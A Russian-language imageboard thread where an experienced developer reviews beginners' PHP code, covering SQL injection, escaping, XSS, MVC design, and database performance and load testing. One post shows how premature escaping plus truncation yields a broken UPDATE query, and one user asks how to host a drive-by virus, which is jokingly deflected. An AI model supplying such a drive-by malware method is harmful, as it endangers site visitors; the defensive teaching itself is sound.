- ссылки не надо формировать прямо в HTML коде: https://github.com/andr1an/inventorize/blob/master/people-viewall.php#L81 - надо сделать отдельный класс-хелпер для этого

- не вставляй переменные в SQL запрос, используй плейсхолдеры, иначе ты получаешь SQL инъекцию, да и код выглядит уродливо. sprintf для этого не годится.

- имена функций должны начинаться с глагола и объяснять что они делают. Твои имена напоминают шифровки: wrs_card, get_wrs_hw - wtf? Это невозможно ни понять ни запомнить. Примеры хороших названий: findUserById($id), getEquipmentForEmployee($employee)

Никто не будет расшифровывать твои сокращения, надо писать читабельно.

Статья по теме: http://learn.javascript.ru/write-unmain-code

- <a href="javascript:void(0)" говорит что человек не понимает HTML (как правильно: используй тег button для создания кнопок)

- вместо or die() надо использовать исключения, у меня есть урок про них: https://gist.github.com/codedokode/65d43ca5ac95c762bc1a

- можешь также почитать урок про алгоритм обработки форм: https://github.com/codedokode/pasta/blob/master/forms.md

- данные при выводе надо экранировать иначе XSS: https://github.com/codedokode/pasta/blob/master/security/xss.md

В общем, как видишь замечания тут можно написать почти к каждой строчке.

Давай тогда читай про Юи2, осваивай композер, как только сделаешь Hello World и прочитаешь про модели и ActiveRecord, можно начинать переносить код на Юи. В базе данных я думаю много менять не придется, только тип таблиц на InnoDB, проставить внешние ключи, уникальные ключи, NOT NULL, ENUM где надо, а также комменатрии к некоторым колонкам так как я например смотрю и многое не понимаю.
#78 #559391
>>559378

Если архитектура позволяет, можно класс-репозиторий с людьми делать заменяемым, то есть у нас есть класс работающий с LDAP базой и альтернативный, работающий с таблицей в mysql. А выбор делается через конфиг.

Также дам тебе сразу несколько маленьких советов:

- движок MyISAM это отстой и каменный век. Он в отличие от InnoDB не позволяет ни настраивать внешние ключи между таблицами ( denis.in.ua/foreign-keys-in-mysql.htm ) ни использовать транзакции. А база без внешних ключей это просто свалка с данными.

- (это на будущее) тебе стоило бы все переделывать на MVC, когда код с логикой хранения и обработки данных размещается отдельно от HTML шаблонов (а они отдельно от JS/CSS кода). Вообще принято все раскладывать отдельно, напрмиер все SQL запросы к одной таблице стоит изолировать в отдельном классе (паттерн TableDataGateway). Ну если ты будешь Юи использовать, там уже есть все готовое для этого.

- у нас есть чем-то похожая на твою задача инвентаризации списка студентов: https://github.com/codedokode/pasta/blob/master/student-list.md - к ней написаны обширные советы и примечания, как лучше работать с базой данных, с формами

- использовать константы в конфиге в общем плохая идея так как побуждает разбросать работу с ними по всему коду

- вместо вывода HTML через echo надо использовать шаблоны: http://www.phpinfo.su/articles/practice/shablony_v_php.html

- ссылки не надо формировать прямо в HTML коде: https://github.com/andr1an/inventorize/blob/master/people-viewall.php#L81 - надо сделать отдельный класс-хелпер для этого

- не вставляй переменные в SQL запрос, используй плейсхолдеры, иначе ты получаешь SQL инъекцию, да и код выглядит уродливо. sprintf для этого не годится.

- имена функций должны начинаться с глагола и объяснять что они делают. Твои имена напоминают шифровки: wrs_card, get_wrs_hw - wtf? Это невозможно ни понять ни запомнить. Примеры хороших названий: findUserById($id), getEquipmentForEmployee($employee)

Никто не будет расшифровывать твои сокращения, надо писать читабельно.

Статья по теме: http://learn.javascript.ru/write-unmain-code

- <a href="javascript:void(0)" говорит что человек не понимает HTML (как правильно: используй тег button для создания кнопок)

- вместо or die() надо использовать исключения, у меня есть урок про них: https://gist.github.com/codedokode/65d43ca5ac95c762bc1a

- можешь также почитать урок про алгоритм обработки форм: https://github.com/codedokode/pasta/blob/master/forms.md

- данные при выводе надо экранировать иначе XSS: https://github.com/codedokode/pasta/blob/master/security/xss.md

В общем, как видишь замечания тут можно написать почти к каждой строчке.

Давай тогда читай про Юи2, осваивай композер, как только сделаешь Hello World и прочитаешь про модели и ActiveRecord, можно начинать переносить код на Юи. В базе данных я думаю много менять не придется, только тип таблиц на InnoDB, проставить внешние ключи, уникальные ключи, NOT NULL, ENUM где надо, а также комменатрии к некоторым колонкам так как я например смотрю и многое не понимаю.
155 Кб, 1081x979
#79 #559394
рейтаните стиль

ib4: md5 не для продакшина
#80 #559395
>>559382

Если ты пока делаешь простые задачки, тебе достаточно установить PHP и запускать код в консоли (подвох: русские буквы под виндой не заработают). Урок: https://gist.github.com/codedokode/7054af4a03865c4cc863

Вполне возможно что нотепад++ можно настроить (или найти плагин) чтобы запускать код не выходя из редактора, горячей клавишей.

Я тут погуглил и вижу что в нотепаде++ можно настроить горячую клавишу F5, надо только в настройках прописать путь к PHP. Вот совет для Питона:

http://stackoverflow.com/questions/1702586/how-to-execute-a-python-file-in-notepad/21991705#21991705

В нем надо только поменять путь к интепретатору ПИтона на путь к PHP, то есть вписать

cmd /K c:\php\php.exe "$(FULL_CURRENT_PATH)"

cmd запускает новое окно командной строки
/K говорит не закрываться после завершения скрипта
Далее идет команда которая будет выполнена в конмандной строке - а именно запущен интерпретатор PHP и ему передан путь к скрипту

Если что вот гайд по командной строке: https://gist.github.com/codedokode/10539568

Если ты хочешь большего и хочешь запускать свои программы через браузер и смотреть там результат их работы, придется поднапрячься и вдобавок установить и настроить Апач: https://gist.github.com/codedokode/10774100

Если что-то не заработает пиши сюда вопросы только желательно с подробностями и скриншотами.
#81 #559396
>>559394

Массиво ориентированное программирование (это значит что ты используешь массивы там где стоило бы использовать ООП).

Алсо не подставляй переменные в SQL запрос - это ведет к SQL инъекциям - используй плейсхолдеры + PDO.

Зачем-то в одном файле смешана сборка SQL запроса, работа с _POST и еще что-то странное.

В общем, пока все плохо, код никуда не годится, но можно переучиться. В ОП посте есть учебник и задачки про студентов и файлообменник.
#82 #559399
>>558971

IdiORM это какая-то невнятная хрень, вроде query builder, называть его дата маппером это перебор. Сравни с доктриной 2 и увидишь что это совсем другая вещь.

Там как я понимаю даже своих классов-моделей для разных сущностей нет.
#83 #559400
>>559396

>это значит что ты используешь массивы там где стоило бы использовать ООП



не слишком понятно, что ты понимаешь под ООПом, массив в конце метода возвращает статус инсерта в ключе 'page'

>Алсо не подставляй переменные в SQL запрос



POST и GET массивы экранируются/фильтруются еще при инициализации класса методом mysqli_real_escape_string. я тут не вижу особых проблем

>и еще что-то странное



$options['queryAction'] и $options['whereClause'] это лямбда функции, недавно начал юзать. пипец удобная вещь скажу я вам
#84 #559405
>>559400

> не слишком понятно, что ты понимаешь под ООПом


Повернем вопрос: зачем ты делаешь массив в который кладешь куски SQL запроса? что тебе мешает написать запрос сразу?

Если ты хочешь собирать его по частям то есть паттерн query biulder и он реализуется через класс а не через массив. И есть готовые библиотеки предоставляющие query builder (например Doctrine DBAL, Zend Db Table).

Также, вот урок про то как работают с базой данных в ООП мире, давно уже придуманы все нужные паттерны: https://github.com/codedokode/pasta/blob/master/db/patterns-oop.md

Непонятно зачем изобретать свое более худшее решение на массивах.

> POST и GET массивы экранируются/фильтруются еще при инициализации класса методом mysqli_real_escape_string. я тут не вижу особых проблем



Это непраивльно.

1) экранировать данные надо там где они используются
2) данные могут пойти далее не в SQL запрос, а использоваться в других целях как ты отменишь экранирование?
3) данные могут приходить не только из POSt/GET

Есть решение известное уже лет 20: плейсхолдеры. Нет, до сих пор находятся велосипедисты которые хотят изобрести свой кривой неработбщий велосипед. Ты занимаешься глупостью, надо учиться на лучших примерах, а не сидеть вариться в собственном соку.

> пипец удобная вещь скажу я вам


только вот твой код никто кроме тебя не поймет. Возьми любой совпеменный фреймворк (Yii2, Symfony 2) и сравни со своим велосипедом.
#85 #559407
>>559400

Вот смотри на свой код: у тебя в одной функции есть и куски запроса и POST.

То есть ты думаешь что данные в БД могут меняться только через POST. Твой код демонстрирует это. Ты просто наверно привык только писать формы которые напрямую работают с базой и не догадываешься что форма и база данных это разные сущности не связанные напрямую. И что можно разнести все это по разным классам.

На самом деле пришедшие через POST данные можно использовать как угодно. И данные в базе можно менять тоже откуда угодно, не используя POST.

Твой код этого не позволит, у тебя монолитный кусок кода в котором ни одной строчки нельзя использовать повторно где-то еще. Ну и как бонус, твой код очень тяжело читать и другие разработчики скорее всего скажут «я не хочу в этом велосипеде разбираться, давайте луше перепишем с нуля ».

Почитай напhимер нашу задачу про студентов (в ОП посте) и замечания к ней, там тоже в задаче надо выводить список студентов, делать регистрацию и редактирования инфорации о себе, то есть примерно то же что и у тебя, но там написано как это делать правильно и в соответствии с MVC.

Ты можешь переучиться если захочешь.
#86 #559410
>>559400

> $options['queryAction'] и $options['whereClause'] это лямбда функции, недавно начал юзат


Они тут не нужны. Что тебе мешает вписать нужное действие сразу без всяких функций?
51 Кб, 744x408
63 Кб, 639x446
#87 #559413
>>559400
>>559396
>>559394

>Алсо не подставляй переменные в SQL запрос - это ведет к SQL инъекциям - используй плейсхолдеры + PDO


>POST и GET массивы экранируются/фильтруются еще при инициализации класса методом mysqli_real_escape_string



я так решил эту проблему, пробовал все виды инъекций, они не работают.

>>559405

>Это непраивльно.


>


>1) экранировать данные надо там где они используются


>2) данные могут пойти далее не в SQL запрос, а использоваться в других целях как ты отменишь экранирование?


>3) данные могут приходить не только из POSt/GET



1) почему? пробовал все виды инъекций с такой реализацией, они не работают. смотри реализацию на пиках
2) зачем его отменять в конечной инстанции процесса, где последняя возможная операция с данными это только запись в БД? этот метод из этого >>559394
пика из класса для записи в БД, данные давно были уже отформатированы в контроллере
3) у меня в проекте только два метода передачи данных от клиента к серверу это POST и GET
90 Кб, 711x679
#88 #559420
>>559413

метод protectHttpRequests()
#89 #559422
>>559413

Данные надо экранировать по месту исопльзования чтобы с первого взгляда было видно что все защищено. У тебя этого нет, а изучать весь твой код от начала до конца никто не будет.

> где последняя возможная операция с данными это только запись в БД?


Это тебе так кажется. На самом деле ты не знаешь что дальше будут делать с POST данными и куда они пойдут.

Я же написал выше, ты дальше «форма которая привязана к базе данных» мыслить пока не можешь.

Ну например при ошибке заполнения формы надо вывести эту форму с введенными данными и сообщением об ошибке. Как ты будешь туда выводить данные, разэкранинруешь их обратно?

> пробовал все виды инъекций


А куки и HTTP заголовки ты заэкранировал? Что если из них надо будет что-то в базу вставить?

> у меня в проекте только два метода передачи данных


У тебя в коде все перемешано в кашу и написано одной длинной простыней, и это плохо, так как такой код тяжело читать, поддерживать и нельзя повторно использовать.

Более того код искустенно переусложнен. Вместо твоих массивов и лямбда функций можно написать

if (... == 'update') {
$sql = "UPDATE ";
} else {
$sql = 'INSERT INTO ';
}

Зачем ты вместо простого кода нагородил массивов и лямбда функций?
#89 #559422
>>559413

Данные надо экранировать по месту исопльзования чтобы с первого взгляда было видно что все защищено. У тебя этого нет, а изучать весь твой код от начала до конца никто не будет.

> где последняя возможная операция с данными это только запись в БД?


Это тебе так кажется. На самом деле ты не знаешь что дальше будут делать с POST данными и куда они пойдут.

Я же написал выше, ты дальше «форма которая привязана к базе данных» мыслить пока не можешь.

Ну например при ошибке заполнения формы надо вывести эту форму с введенными данными и сообщением об ошибке. Как ты будешь туда выводить данные, разэкранинруешь их обратно?

> пробовал все виды инъекций


А куки и HTTP заголовки ты заэкранировал? Что если из них надо будет что-то в базу вставить?

> у меня в проекте только два метода передачи данных


У тебя в коде все перемешано в кашу и написано одной длинной простыней, и это плохо, так как такой код тяжело читать, поддерживать и нельзя повторно использовать.

Более того код искустенно переусложнен. Вместо твоих массивов и лямбда функций можно написать

if (... == 'update') {
$sql = "UPDATE ";
} else {
$sql = 'INSERT INTO ';
}

Зачем ты вместо простого кода нагородил массивов и лямбда функций?
#90 #559429
>>559422

>Данные надо экранировать по месту исопльзования


> а изучать весь твой код от начала до конца никто не будет



метод protectHttpRequests() >>559420
и есть место где всё сразу видно, и одно единственное место, которое тебе нужно изучить из тысячи строк моего кода

>Я же написал выше, ты дальше «форма которая привязана к базе данных» мыслить пока не можешь



сложнее проектов пока не писал и пока тру не вижу потребности выходить за эти рамки. и если честно, я не представляю даже задачи для ПХП за пределами тандема "форма-БД"

>А куки и HTTP заголовки ты заэкранировал? Что если из них надо будет что-то в базу вставить?



внезапно, $_COOKIE это обычный массив, не вижу проблем пройтись по нему фоичем с экраном. HTTP заголовки сохраняются в тот же php массив.

>У тебя в коде все перемешано в кашу и написано одной длинной простыней


>Более того код искустенно переусложне



хм, вроде как там всё ужато до минимума. если писать как ты предлагаешь, то это будет уже не ООП, а процедуральный, построчный код. так не пишут где я работаю.

>Зачем ты вместо простого кода нагородил массивов и лямбда функций?



это такой концепт, если ты внимательно посмотришь на мой код, то он внезапно в 3-4 раза меньше по объёму, если писать его стандартно. можешь мне поверить на слово.
#91 #559435
>>559429

> и есть место где всё сразу видно, и одно единственное место, которое тебе нужно изучить из тысячи строк моего кода


Этого недостаточно, так как я не знаю что делалось с данными после экранирования и до того как они попадут в запрос. А чтобы это узнать надо просмотреть весь код.

Ну и данные могут приходить не только из POST, я уж наверно раза 3 это написал.

> внезапно, $_COOKIE это обычный массив, не вижу проблем пройтись по нему фоичем с экраном. HTTP заголовки сохраняются в тот же php массив.



То есть ты их не экранировал. И не догадывался что там тоже могут быть данные для инъекции. Но при этом споришь и остаиваешь свой неправильный подход, даже когда тебе указывают на ошибки.

> если писать как ты предлагаешь, то это будет уже не ООП, а процедуральный, построчный код.


В твоем случае в обоих случаях построчный процедурный код. У тебя культ карго, ты видишь что другие применяют лямбды, но не знаешь зачем и когда их надо применять, и просто вписал чтобы они были.

Анонимные функции обычно применяют вместе с array_map, array_filter, в таких случаях. В твоем случае они не нужны.

> так не пишут где я работаю.


Я тебе советую не брать пример с того как пишут на твоей работе, а изучать MVC, паттерны и фреймворки.

> это такой концепт, если ты внимательно посмотришь на мой код, то он внезапно в 3-4 раза меньше по объёму, если писать его стандартно. можешь мне поверить на слово.


Я тебе выше написал как можно избавиться от массива и лямбда функции, и код получается короче. Боюсь что в такой ситуации поверить на слово трудно.
#92 #559436
>>559429

Ну и поясни, что ты делаешь если форма неправильно заполнена? Разэкранируешь данные обратно?
#93 #559440
>>559429

При преждевременном экранировании возможны ошибки. Допустим мы перед вставкой в базу обрезаем название до 10 символов (ну такое условие). Допустим нам пришло в $POST такое название:

Название 'название' (10й символ - кавычка)

Ты в своей функции экранируешь его и получается

Название \'название\' (10й символ бекслеш)

Затем обрезаешь до 10 символов:

Название \

затем вставляешь в SQL запрос такого вида:

UP DA TE t SET title = '$title' WH E RE id = $id

При подстановке получается

UP DA TE t SET title = 'Название \' WH E RE id = 1

Теперь объясни как при твоем подходе бороться с этим багом? Название обрезано до 9 символов вместо 10 (кавычка потерялась), а бекслеш экранирует идущую за ним кавычку и ломает SQL запрос.

(пробелы для обхода фильтра на cloudflare а то он думает что я двач ломаю).
#93 #559440
>>559429

При преждевременном экранировании возможны ошибки. Допустим мы перед вставкой в базу обрезаем название до 10 символов (ну такое условие). Допустим нам пришло в $POST такое название:

Название 'название' (10й символ - кавычка)

Ты в своей функции экранируешь его и получается

Название \'название\' (10й символ бекслеш)

Затем обрезаешь до 10 символов:

Название \

затем вставляешь в SQL запрос такого вида:

UP DA TE t SET title = '$title' WH E RE id = $id

При подстановке получается

UP DA TE t SET title = 'Название \' WH E RE id = 1

Теперь объясни как при твоем подходе бороться с этим багом? Название обрезано до 9 символов вместо 10 (кавычка потерялась), а бекслеш экранирует идущую за ним кавычку и ломает SQL запрос.

(пробелы для обхода фильтра на cloudflare а то он думает что я двач ломаю).
#94 #559441
>>559429

В общем, я тебе предлагаю почитать комментарии к задаче для студентов, там ты узнаешь много нового, а также конкретно вот эти 2 урока:

- про работу с базой и ООП: https://github.com/codedokode/pasta/blob/master/db/patterns-oop.md
- про обработку форм: https://github.com/codedokode/pasta/blob/master/forms.md

Если ты считаешь что описанный там подход хуже чем твой, давай обсудим.
#95 #559444
Формирую информацию в php. Помещаю в массив и передаю через айякс на страницу.

$htm = "<span>какая-нибудь хуйня</span>";
$count = 500;
$data = array(
"htm" => $htm,
"count" => $count
);
return json_encode($data);

В скрипте начинаю выводить всё это дело, но у меня почему-то $htm, а соответственно data.htm равно нулю.

$.ajax({
url: "/ajax/getCost.php",
dataType: "json",
async: true,
type: "POST",
data: {"option": option},
success: function(data){
alert(data.count);
alert(data.htm);
}
});

В чем проблема?
#96 #559448
>>559049
Только получаю его для работы далее
$animals = $world->getAllAnimals();
#97 #559454
>>559448

попробуй вывести count($animals) до цикла и на каждом его шаге.

А! Вспомнил! Объект SplObjectStorage нельзя использовать в нескольких циклах foreach одновременно. К сожалению, он реализован как итератор, то есть внутри у него хранится указатель на текущий перебираемый элемент (а можно было реализовать по-другому, чтобы этот указатель не хранился внутри, а во внешнем объекте-итераторе).

Соответственно когда ты вызываешь на первом шаге цикла $animal->move(), она вызывает какую-нибудь функцию, перебирающую список животных циклом foreach и тот ставит внутренний указатель на конец списка.

Соответственно внешний цикл foreach завершается.

Ты можешь проверить это таким кодом:

$animals = ... создай SplObjetStorage и заполни его

foreach ($animals as $a) {
echo "Outer start\n";
foreach ($animals as $b) {
echo "Inner\n";
}
echo "Outer end\n";
}

И посмотри что выведется .
#98 #559466
>>558058 (OP)
Я один вижу в картинке №3 сексизм? Это просто замечательно!
#99 #559479
>>559454
https://ideone.com/8AOx91
Понял. А как с этим бороться? Переходить на простой массив?
#100 #559502

>Если код на пикче писал ты, то в приличные места даже не суйся.



Это то с чем мне приходится работать
Там огромный проект в таком стиле написан.
Планируется рефакторинг, но там такое дерьмо, что проще все с нуля переписать
А мой колега он же тим-лид
ругается когда я кавычки после IF за которым одна строка ставлю, мол это лишнее А В ЭТОМ ПРОЕКТЕ ТАКИМ МАКАРОМ ЦИКЛЫ В УСЛОВИЯ УБЕРАЮТ
ВОТ ТАК:
If()
For {
100 строк кода}
Нихуя не понятно блять!
Про кучу кода во вьюхах я молчу, думая что это проблема первого Yii
#101 #559503
#102 #559504
>>559502

>кавычки


Скобки
120 Кб, 936x834
#103 #559646
>>559440
>>559436

>При преждевременном экранировании возможны ошибки



кек, каюсь, проверил $_POST['postMsg'] через strlen(), она считает бекслеши. странно, почему я раньше это не замечал в своём проекте... ок, тогда я сделаю экранизацию в методе где идёт непосредственно инсерт.

>>559441
читану сегодня, первое впечатление ок, спсб

>>559435

>Анонимные функции



приложение экспериментальное. согласен, что конкретно в скрине >>559394 лямбда "whereClause" лишняя, т.к там всего одно условие проверки переменной $_POST['action'], но что ты скажешь если там будет 20-30 условий?

у меня есть идея держать синтакс моего кода как можно ближе к синтаксу ЖС, так как это ИМХО: 1) открывает новые возможности ООП, и 2) судя по информации из разных форумов экономит кучу кода, 3) даёт гибкость и повышает безопасность кода, т.к. "область видимости" ect., 4) повышает читабельность кода

пик - лямбды в методе который конструирует Where Clauses
#104 #559786
>>559646

> пик


Ебаный пиздец
#105 #559790
>>556188
>>558038
Переписал скрипт-генератор для заполнения базы.
https://github.com/nsdvw/classifieds/blob/master/protected/commands/FakerCommand.php

> можно сделать заранее пул например из 1000 значений


Вот это очень помогло. Вообще я сначала думал, что faker действительно генерирует случайные значения, а он на самом деле склеивает готовые куски строк, которых не так и много.
Может быть там не получится даже 1000 уникальных значений, можно было обойтись сотней.

От плейсхолдеров все равно отказался, потому что при профилировании выяснилось, что именно bindValue увеличивает время работы скрипта в 2-2,5 раза. Могу пруфануть отчетами.
Итого, пользователи генерируются:
100 000 за 88 секунд
Объявления:
10 000 за 21 секунду (при простом конкатенировании строки запроса, без плейсхолдеров)
10 000 за 54 секунды (с плейсхолдерами, 235 тысяч обращений к bindValue)
#106 #559807
>>559790

> От плейсхолдеров все равно отказался, потому что при профилировании выяснилось, что именно bindValue увеличивает время работы скрипта в 2-2,5 раза.


А если вместо bindValue передавать массив значений в execute?
63 Кб, 777x530
95 Кб, 695x672
99 Кб, 661x555
#107 #559838
>>559646
>>559440

ок, допилил в основной sql класс два свойства $escapedGet и $escapedPost /пик 1/

изменил метод protectHttpRequests() /пик 2/

теперь это работает примерно так: $this->escapedGet['path'], $this->escapedPost['pageTitle'] /пик 3/

пасибо антон, что прокачал мою тачку велосипед
#108 #559842
>>559838

>пик 3



о кста вижу, нельзя экранировать поле pass, иначе если в пароле будет кавычка, то хеш будет совсем другой...
#109 #559998
>>559807
Сделал, не вопрос.
https://github.com/nsdvw/classifieds/blob/master/protected/commands/FakerCommand.php#L89

Но я решительно не понимаю зачем.
Подготовленные выражения имеют следующие преимущества:
1. Защита от sql-инъекций. Для cli скрипта не актуально.
2. Экранирование. Для этих целей можно использовать quote, и вообще в моем случае не нужно: я либо подставляю случайное целое число, либо строку из списка хранящихся в базе вариантов на выбор (для выпадающего списка), эти строки уже заэкранированы.
3. В случае частого обращения к одному и тому же запросу выгодно в плане производительности один раз подготовить его и затем слать только параметры для привязки.
В данном случае я собираю тысячи записей мультиинсертом, отдельных запросов-вставок не так и много, выигрыша почти нет.
4. Читабельность. Маловажно, да и мне по-любому приходится собирать мультиинсерт в цикле, не вижу особой разницы между строками
$sql .= "('{$row['eav_attribute_id']}','{$row['entity_id']}','{$row['value']}')";
$sql .= "(:a{$i},:e{$i},'ad',:v{$i})";

И bindValue в цикле использовал не я, это авторы фреймворка. (Не упади в обморок от отсутствия фигурных скобок в ифах и циклах)
https://github.com/yiisoft/yii/blob/485c001e99ba1e60eabd496027e69eecdee5ed72/framework/db/schema/CDbCommandBuilder.php#L350-L351
В yii кроме bindValue есть еще bindValues, не знаю почему они его не использовали, зачем крутить по одной штуке?
Хотя в плане производительности выигрыш не очень большой (около 10%), я проверял.
#110 #560004
>>559998

Я видимо то-то не так понял. В мультиинсерте выгоды от плейсхолдеров действительно нет так как там их тысяи получаются. Проще экранировать данные через $pdo->quote() и собирать запрос руками.

Если ты используешь мультиинсерт, то да, можно собирать запрос руками.

Экранировать все равно стоит просто чтобы если в данных окажется какая-нибудь кавычка, все не падало. Вряд ли quote/intval так много времени занимает.

> Читабельность. Маловажно,


Вот тут ты не прав. Это ты писатель, а я читатель и мне читабельность как раз важна. И твоим воображаемым коллегам которые будут работать с твоим кодом, важна. И воображаемым разработчикам которые будут присылать тебе пулл-реквесты к твоей опен сурс программе, тоже.

Так что давай не придумывать себе поводов писать как попало, а сразу учиться делать правильно. Читабельность должна быть на первом месте, и я уверен что ее можно совместить с производительностью.

По коду:

> 'password' => '$2y$13$gT2xqTJiIdQjHXUvVIwePOgGINJQmX6m7wdAZefcw8lQasxtGOple',


Это надо сделать по-другому: в init() написать что-то вроде

$this->userPasswordHash = makeHash('password');

И далее использовать userPasswordHash. Не нужны нам непонятно откуда взявшиеся магические строки.

> echo date('H:i:s') . "\n";


Для измерения времени удобно 2 раза посчитать microtime(true) и взять разницу.

Код работы с EAV конечно страшноватый, массив на массиве, нельзя ли все эти EAV атрибуты (их же немного, порядка 1000?) жадно загрузить в виде нормальных объектов в память и работать с ними, а не заниматься ручной десериализацией и копаться в многомерных массивах? Если можно один раз их загрузить в память, по скорости будет наверно примерно то же, а кода будет меньше и он будет чище.

Я мельком глянул https://github.com/iAchilles/eavactiverecord/blob/master/EavAttribute.php - вроде он в базу не лезет после загрузки. Или оно того не стоит?

Так, в остальном код выглядит нормально. Давай уже переходить к заполнению базы и нагрузочному тестированию.

В помощь тебе пара постов из прошлых тредов на тему нагрузочного тестирования и оптимизаций:

http://arhivach.org/thread/85089/#486432
http://m2-ch.ru/pr/res/454789.html#455489
https://www.google.com/search?q=%D0%BD%D0%B0%D0%B3%D1%80%D1%83%D0%B7%D0%BE%D1%87%D0%BD%D0%BE%D0%B5+%D1%82%D0%B5%D1%81%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5+siege&btnG=Search&gbv=1

По поводу тестирования: есть простые утилиты (для начала хватит и их), ab и siege, разберись с ними, ну и в статье на хабре упомянуты более крутые штуки на Яве и яндекс-танк, не знаю, понадобятся ли они тебе.

Я советую siege так как она умеет долбить разные страницы по списку. Не забудь отключить dev-режим, всякие отладочные штуки (вроде вывода выполненных SQL запросов) так как они могут здорово тормозить. Проверь включены ли кеши метаданных которые есть в Юи (если память мне не изменяет, в них кешируется информация о столбах таблиц), и что используется, файлы это не очень хорошо, APCu гораздо лучше.

По оптимизации базы: тебе надо разобраться с индексами (статья на ruhighload для начинающих хорошая), командой EXPLAIN.

Хорошо бы для поиска медленных запросов настроить slow log либо на стороне mysql либо на стороне приложения, записывая допустим все запросы дольше 50 мс в лог. И дальше изучать, случайные это выпадения или систематические.

Если что, задавай вопросы.
#110 #560004
>>559998

Я видимо то-то не так понял. В мультиинсерте выгоды от плейсхолдеров действительно нет так как там их тысяи получаются. Проще экранировать данные через $pdo->quote() и собирать запрос руками.

Если ты используешь мультиинсерт, то да, можно собирать запрос руками.

Экранировать все равно стоит просто чтобы если в данных окажется какая-нибудь кавычка, все не падало. Вряд ли quote/intval так много времени занимает.

> Читабельность. Маловажно,


Вот тут ты не прав. Это ты писатель, а я читатель и мне читабельность как раз важна. И твоим воображаемым коллегам которые будут работать с твоим кодом, важна. И воображаемым разработчикам которые будут присылать тебе пулл-реквесты к твоей опен сурс программе, тоже.

Так что давай не придумывать себе поводов писать как попало, а сразу учиться делать правильно. Читабельность должна быть на первом месте, и я уверен что ее можно совместить с производительностью.

По коду:

> 'password' => '$2y$13$gT2xqTJiIdQjHXUvVIwePOgGINJQmX6m7wdAZefcw8lQasxtGOple',


Это надо сделать по-другому: в init() написать что-то вроде

$this->userPasswordHash = makeHash('password');

И далее использовать userPasswordHash. Не нужны нам непонятно откуда взявшиеся магические строки.

> echo date('H:i:s') . "\n";


Для измерения времени удобно 2 раза посчитать microtime(true) и взять разницу.

Код работы с EAV конечно страшноватый, массив на массиве, нельзя ли все эти EAV атрибуты (их же немного, порядка 1000?) жадно загрузить в виде нормальных объектов в память и работать с ними, а не заниматься ручной десериализацией и копаться в многомерных массивах? Если можно один раз их загрузить в память, по скорости будет наверно примерно то же, а кода будет меньше и он будет чище.

Я мельком глянул https://github.com/iAchilles/eavactiverecord/blob/master/EavAttribute.php - вроде он в базу не лезет после загрузки. Или оно того не стоит?

Так, в остальном код выглядит нормально. Давай уже переходить к заполнению базы и нагрузочному тестированию.

В помощь тебе пара постов из прошлых тредов на тему нагрузочного тестирования и оптимизаций:

http://arhivach.org/thread/85089/#486432
http://m2-ch.ru/pr/res/454789.html#455489
https://www.google.com/search?q=%D0%BD%D0%B0%D0%B3%D1%80%D1%83%D0%B7%D0%BE%D1%87%D0%BD%D0%BE%D0%B5+%D1%82%D0%B5%D1%81%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5+siege&btnG=Search&gbv=1

По поводу тестирования: есть простые утилиты (для начала хватит и их), ab и siege, разберись с ними, ну и в статье на хабре упомянуты более крутые штуки на Яве и яндекс-танк, не знаю, понадобятся ли они тебе.

Я советую siege так как она умеет долбить разные страницы по списку. Не забудь отключить dev-режим, всякие отладочные штуки (вроде вывода выполненных SQL запросов) так как они могут здорово тормозить. Проверь включены ли кеши метаданных которые есть в Юи (если память мне не изменяет, в них кешируется информация о столбах таблиц), и что используется, файлы это не очень хорошо, APCu гораздо лучше.

По оптимизации базы: тебе надо разобраться с индексами (статья на ruhighload для начинающих хорошая), командой EXPLAIN.

Хорошо бы для поиска медленных запросов настроить slow log либо на стороне mysql либо на стороне приложения, записывая допустим все запросы дольше 50 мс в лог. И дальше изучать, случайные это выпадения или систематические.

Если что, задавай вопросы.
#111 #560005
Все забываю спросить: а можно ли на хост залить вирус, чтобы человек перешел по ссылке на сайт, а там вирус сам закачался и открылся у него на компе?
#112 #560008
>>559998

Хозяйке на заметку: если ты хочешь написать свою быструю функцию мультиинсерта, обрати внимание что запрос без плейсхолдеров можно не подготавливать, а сразу выполнить через $pdo->exec(): http://php.net/manual/en/pdo.exec.php

Не знаю, правда будет ли разница по скорости.
#113 #560011
>>560005

В нашем треде нельзя, мы тут только котиков заливаем.
#114 #560013
>>560011
Я спрашиваю чисто теоритически (но неплохо бы и дать понять, в какую сторону копать), чтобы самому не заразиться. Насколько я помню я уже так хватал вирусы только лишь открывая сайт, т.е. все же можно? Но как?
293 Кб, 850x2491
#115 #560015
ОП, почему не учишь тому, что я не выделил красным?
#116 #560016
>>559998

Еще советы по оптимизации.

- включи кешер ОП-кода (opcache) который с PHP5.5 по моему идет в комплекте. Без кешера у тебя половина времени будет уходить на компиляцию интерпретатором PHP одних и тех же скриптов.

До 5.5 можно использовать APC, Xcache или что-нибудь аналогичное, но стоит помнить что иногда они вызывают баги. Я помню случай когда кешер опкода ронял рабочий процесс Апача пытаясь закешировать файл из состава ZF.

В кешере можешь включить режим когда он не перепроверяет дату модификации каждый раз, а только раз в N секунд. На продакшен серверах обычно ставят N = 30, 60 или больше секунд. Разумеется тебе также понадобится скрипт сброса этого кеша (команда opcache_reset() ) если ты отредактировал какой-то файл.

Не забудь выделить достаточный объем памяти, чтобы все скрипты влезли в кеш. Проверить, достаточно ли памяти и эффективно ли используется кеш, можно утилитой вроде этой: https://github.com/rlerdorf/opcache-status

После настройки PHP настрой кеши в Юи. Начать можно с советов отсюда: http://www.yiiframework.com/doc/guide/1.1/en/topics.performance

Ты должен смотреть что памяти хватает (те есть свободная) и что отношение hit/miss высокое. Если для каких-то ключей в кеше мало hit/miss значит кешировать эти данные нет особого смысла.

Не стоит кешировать все подряд. Кешировать метаданные таблиц - хорошая идея, так как это не влияет на логику приложения (структура базы меняется редко), а вот кешировать страницу- другое дело так как появляются вопросы как сбрасывать этот кеш, как не отдать неактуальные данные, и тд, и лучшее решение тут избегать использования кеширования.

Ну и конечно много зависит от настроек mysql. Посмотри конфиг сервера БД и выдели ей память под кеш запросов и innodb buffer pool.

Если твое приложение крутится под линуксом, есть набор утилит, которые позволяют видеть загрузку сети, диска, искать узкие места: http://habrahabr.ru/post/114082/ - рекомендую освоить.

Под Windows помониторь ситуацию хотя бы диспетчером задач, смотри как загружен процессор, как используется память, нет ли свопа.

В общем, как будут цифры, будем смотреть что делать дальше.
#116 #560016
>>559998

Еще советы по оптимизации.

